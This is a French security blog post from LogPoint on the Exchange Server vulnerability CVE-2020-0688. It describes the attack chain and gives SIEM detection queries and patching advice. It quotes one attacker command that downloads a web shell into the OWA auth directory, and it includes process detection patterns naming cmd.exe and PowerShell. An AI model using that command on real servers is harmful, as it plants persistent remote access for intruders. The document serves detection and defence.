Par Bhabesh Raj Rai, Associate Security Analytics Engineer, LogPoint

Le 11 février 2020, Microsoft a publié un avis de sécurité concernant une sérieuse vulnérabilité RCE (CVE-2020-0688), avec un score CVSS de 8,8. Cette vulnérabilité dans Microsoft Exchange Server était due à l’incapacité du serveur à générer une clé cryptographique unique au moment de l’installation. Un correctif pour cette vulnérabilité est disponible depuis le 18 février. Toutes les versions d’Exchange Server qui n’ont pas été corrigées depuis février dernier sont exposées à de potentielles attaques.

Deux semaines après la publication de l’avis de sécurité de Microsoft, ZDI a publié un article de blog détaillant cette vulnérabilité. Peu de temps après cette publication, une activité massive en termes d’analyse avait commencé comme indiqué par Bad Packets et Binary Edge. La société de cybersécurité Volexity a en effet observé plusieurs groupes APT exploitant ou tentant d’exploiter des serveurs Exchange sur site.

Pour exploiter cette faille, les adversaires doivent rechercher les serveurs vulnérables exposés au niveau d’Internet, collecter les identifiants de messagerie et obtenir des éléments pertinents en provenance d’anciennes violations de données. Une attaque de type ‘credential stuffing’ est ensuite lancée et perdure jusqu’à obtenir un coup gagnant et pouvoir donc se connecter au serveur. Une fois réussi, il ne reste plus qu’à exploiter la vulnérabilité et à compromettre complètement le serveur Exchange ciblé.

Microsoft fournit un moyen simple d’identifier les numéros de build d’Exchange Server via la page source concernant les pages de connexion d’OWA et d’ECP, permettant aux attaquants d’identifier les serveurs Exchange potentiellement vulnérables. Plusieurs outils open source prennent comme point d’entrée la page d’une entreprise sur LinkedIn, récupèrent tous les noms des employés et lancent une attaque de type ‘credential stuffing’ au niveau de l’Outlook Web App de l’entreprise.

La vulnérabilité en question fait ensuite littéralement pleuvoir les identifiants lorsque les attaquants se présentent en tant que SYSTEM, et utilisent par la suite Mimikatz pour récupérer les mots de passe de tous les utilisateurs, car Exchange Server stocke les identifiants des utilisateurs en mémoire en clair, sans hachage.

Le module Metasploit était disponible début mars pour exploiter cette vulnérabilité.

La détection de LogPoint

En mars, Talos avait publié des règles snort pour détecter la tentative d’exploitation de CVE-2020-0688.

(norm_id=Snort OR norm_id=SuricataIDS) message IN ["*Microsoft Exchange Control Panel remote code execution attempt*", "*Microsoft Exchange Control Panel static viewstate key use attempt*"]

La tentative d’exploitation laissera un artefact dans le log d’événement de l’application Windows avec l’ID d’événement 4 au niveau du panneau de configuration MSExchange. Vous devrez rechercher un long message dans le log des erreurs.

norm_id=WinServer channel=Application event_source="MSExchange Control Panel" event_id=4 log_level=Error

L’exploitation peut être facilement détectée via les logs IIS. L’attaque commence par un POST vers le /owa/auth.owa, suivi de plusieurs requêtes GET vers l’une des URL ciblées, l’une d’entre elles contenant la variable __VIEWSTATE. Cette situation est très suspecte car le paramètre __VIEWSTATE ne doit jamais être envoyé via une requête GET.

[norm_id=MsIIS request_method=POST user=* resource="/owa/auth.owa"] as s1 followed by [norm_id=MsIIS request_method=GET resource="/ecp*"] as s2 on s1.user=s2.user

La charge virale sérialisée est placée dans le paramètre VIEWSTATE et envoyée à la page /ecp/default.aspx. L’exploitation réussit même si le serveur renvoie 500 codes d’erreur.

norm_id=MsIIS request_method=GET status_code=500 resource="/ecp/default.aspx" query="*__VIEWSTATEGENERATOR*VIEWSTATE=*"

Les administrateurs peuvent également vérifier les requêtes GET suspectes adressées à OWA avec une requête large pouvant indiquer une activité malveillante.

norm_id=MsIIS request_method=GET
| process count_char(query) as query_length
| search query_length>500

De même, les logs du pare-feu ou du serveur proxy peuvent être utilisés pour sa détection.

(device_category=Firewall OR device_category=ProxyServer) (url="*/ecp/default.aspx*__VIEWSTATEGENERATOR*VIEWSTATE=*" OR resource="*__VIEWSTATEGENERATOR*VIEWSTATE=*")

Après une exploitation réussie, le processus de travail (worker process) IIS w3wp.exe génère un processus suspect qui peut être vérifié dans les logs d’événement Windows.

Par exemple, des attaquants lançant une commande ping vers une adresse spécifiée pour valider si l’exploitation a réussi.

norm_id=WinServer label="Process" label=Create parent_process="*\w3wp.exe" "process" IN ["*\powershell.exe", "*\cmd.exe", "*\net.exe", "*\net1.exe", "*\rundll32.exe", "*\ping.exe"]

Après l’exploitation, les attaquants envoient des shells web vers des chemins accessibles via Internet avec des charges virales telles que :

cmd.exe /c powershell (New-Object System.Net.WebClient).DownloadFile('http://raw.github.com/xxxx','C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\EasyAccess.aspx')

Vous trouverez ci-dessous quelques chemins pour inspecter la création d’un fichier suspect afin de rechercher la suppression des shells web :

  • %ProgramFiles%\Microsoft\Exchange Server\<\version>\ClientAccess\Owa\Auth
  • %ProgramFiles%\Microsoft\Exchange Server\<\version>\FrontEnd\HttpProxy\owa\auth
  • \Inetpub\wwwroot\

Que faire ?

Exchange est un service essentiel et peut, en fonction de l’entreprise, ne pas être concerné par une installation régulière et mensuelle des correctifs. Si cette installation n’est pas possible, nous vous recommandons de bloquer l’accès à ECP. Bien que Microsoft classe la vulnérabilité comme « importante », en fait elle peut vraiment être considérée comme « critique » au sein d’une entreprise si Exchange est directement exposé au niveau d’Internet.

De plus, nous recommandons aux administrateurs système de patcher leurs serveurs Exchange, car il existe des signalements concernant son exploitation par des groupes APT et non-APT.

Enfin, les adversaires peuvent obtenir un accès complet à votre entreprise s’ils obtiennent le mot de passe faible ou divulgué d’un utilisateur. Lorsqu’elle est combinée avec la nature externe d’OWA et l’ECP, par défaut dans Exchange, CVE-2020-0688 pourra, très certainement, devenir l’une des vulnérabilités les plus dévastatrices de 2020 !